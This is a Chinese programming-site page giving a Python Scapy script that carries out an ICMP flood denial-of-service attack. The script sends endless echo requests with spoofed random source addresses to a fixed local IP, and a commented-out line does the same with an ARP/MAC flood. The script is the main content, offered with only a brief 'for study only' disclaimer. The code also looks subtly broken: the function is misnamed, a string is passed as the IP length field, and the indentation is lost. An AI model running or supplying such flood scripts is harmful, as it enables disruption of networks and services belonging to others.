当前位置 : 主页 > 编程语言 > python >

Python使用SCAPY实现icmp flood的方法

来源:互联网 收集:自由互联 发布时间:2022-06-18
#!usr/bin/python #-*- coding:utf-8 -*- import sys from scapy . all import * def mac_floodatt ( interface ): data = '0123456789012309129834912734981270497810892471241209478812094701298471208947120974123089471208974089127498127390481270491297


#!usr/bin/python
#-*- coding:utf-8 -*-
import sys
from scapy.all import *


def mac_floodatt(interface):
data = '0123456789012309129834912734981270497810892471241209478812094701298471208947120974123089471208974089127498127390481270491297341230894308927049172809347108947120897408912'
attackpacket = IP(src=RandIP('*.*.*.*'), dst='192.168.113.254',length=data)/ICMP(type='echo-request')
#attackpacket = Ether(srlc=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)
while 1:
send(attackpacket, iface=interface, loop=100)


def main():
if len(sys.argv) < 2:
print ('Usage: python mac_flood.py iface')
else:
mac_floodatt(sys.argv[1])
if __name__ == '__main__':
main()

iCMP flodd是一种DOS攻击,目前绝大多数的网络防火墙、服务器都能承受这种攻击。仅适用于学习交流,切勿使用或改造与非法用途。



上一篇:CTF比赛中使用Python通过Mysql漏洞获取FLAG
下一篇:没有了
网友评论